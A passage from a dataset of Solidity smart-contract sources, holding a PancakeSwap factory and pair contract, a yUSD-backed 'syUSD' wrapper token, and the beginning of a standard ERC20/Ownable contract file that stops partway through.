hash
stringlengths 64
64
| size
int64 7k
624k
| ext
stringclasses 1
value | lang
stringclasses 1
value | is_test
bool 2
classes | repo_id
stringclasses 846
values | repo_name
stringclasses 846
values | repo_head
stringclasses 846
values | repo_path
stringlengths 7
155
| content_tokens
int64 1.82k
42.6k
| content_chars
int64 6.85k
58.7k
| content
stringlengths 6.85k
58.7k
| __index_level_0__
int64 84
346k
| id
int64 0
14.2k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
91254751020165a520d1d2b1913c405fd202b0568a53c9163248fd0332915475
| 20,043 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x3B68C25FF3B37cc309D144a687607Cc22Cb7309b/contract.sol
| 5,153 | 19,077 |
// File: browser/PancakeFactory.sol
pragma solidity =0.5.16;
interface IPancakeFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IPancakePair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IPancakeERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
contract PancakeERC20 is IPancakeERC20 {
using SafeMath for uint;
string public constant name = 'Pancake LPs';
string public constant symbol = 'Cake-LP';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)));
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'Pancake: EXPIRED');
bytes32 digest = keccak256(abi.encodePacked('\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))));
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'Pancake: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IPancakeCallee {
function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
contract PancakePair is IPancakePair, PancakeERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'Pancake: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'Pancake: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'Pancake: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'Pancake: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IPancakeFactory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(3).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'Pancake: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'Pancake: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'Pancake: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'Pancake: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'Pancake: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IPancakeCallee(to).pancakeCall(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'Pancake: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(2));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(2));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'Pancake: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
| 249,447 | 10,800 |
3d41d3613d2efe7c87092ca21a80ef8244353a3d046ba997e2e5b32bf4cf07fc
| 13,065 |
.sol
|
Solidity
| false |
297991229
|
andy8052/syUSD
|
d5f5ff031144785d880e9e50daa3918f929e5c3b
|
src/Syusd.sol
| 3,484 | 12,886 |
pragma solidity ^0.5.16;
interface yCurve {
function get_virtual_price() external view returns(uint256);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function getPricePerFullShare() external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
IERC20 public yUSD = IERC20(0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c);
yCurve public yCRV = yCurve(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51);
uint256 public num = 1000000000000000000;
uint256 private _totalSupply;
function scalingFactor() public view returns (uint256) {
uint256 virtualPrice = yCRV.get_virtual_price();
uint256 pricePerFullShare = yUSD.getPricePerFullShare();
return virtualPrice.mul(pricePerFullShare).div(num);
}
function totalSupply() public view returns (uint256) {
return _totalSupply.mul(scalingFactor()).div(num);
}
function totalSupplyUnderlying() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account].mul(scalingFactor()).div(num);
}
function balanceOfUnderlying(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
uint256 amountUnderlying = amount.mul(num).div(scalingFactor());
_transfer(_msgSender(), recipient, amountUnderlying);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
if (_allowances[owner][spender] == uint(-1)){
return _allowances[owner][spender];
}
return _allowances[owner][spender].mul(scalingFactor()).div(num);
}
function allowanceUnderlying(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
uint256 amountUnderlying = amount;
if (amount != uint(-1)){
amountUnderlying = amount.mul(num).div(scalingFactor());
}
_approve(_msgSender(), spender, amountUnderlying);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
uint256 amountUnderlying = amount.mul(num).div(scalingFactor());
_transfer(sender, recipient, amountUnderlying);
if (_allowances[sender][_msgSender()] != uint(-1)) {
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amountUnderlying, "ERC20: transfer amount exceeds allowance"));
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(_allowances[_msgSender()][spender] != uint(-1), "ERC20: allowance at max");
uint256 addedValueUnderlying = addedValue.mul(num).div(scalingFactor());
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValueUnderlying));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
uint256 subtractedValueUnderlying = subtractedValue.mul(num).div(scalingFactor());
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValueUnderlying, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
if (_allowances[account][_msgSender()] != uint(-1)) {
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract syUSD is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
constructor () public ERC20Detailed("Stable yUSD", "syUSD", 18) {}
function mint(uint256 amount) public {
yUSD.safeTransferFrom(msg.sender, address(this), amount);
_mint(msg.sender, amount);
}
function burn(uint256 amount) public {
_burn(msg.sender, amount);
yUSD.safeTransfer(msg.sender, amount);
}
function getPricePerFullShare() public view returns (uint256) {
return scalingFactor();
}
}
| 149,463 | 10,801 |
8f7fa9daf6a47582acd6feff6589a6759e592ada6f34d858ccbd6a2422b5f719
| 27,606 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/3f/3fAfB4D737584BE2b90e46a21B4647800aE9EFe1_BondReverse.sol
| 3,173 | 12,729 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from,
address to,
uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from,
address to,
uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner,
address spender,
uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
abstract contract ERC20Burnable is Context, ERC20 {
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
_spendAllowance(account, _msgSender(), amount);
_burn(account, amount);
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
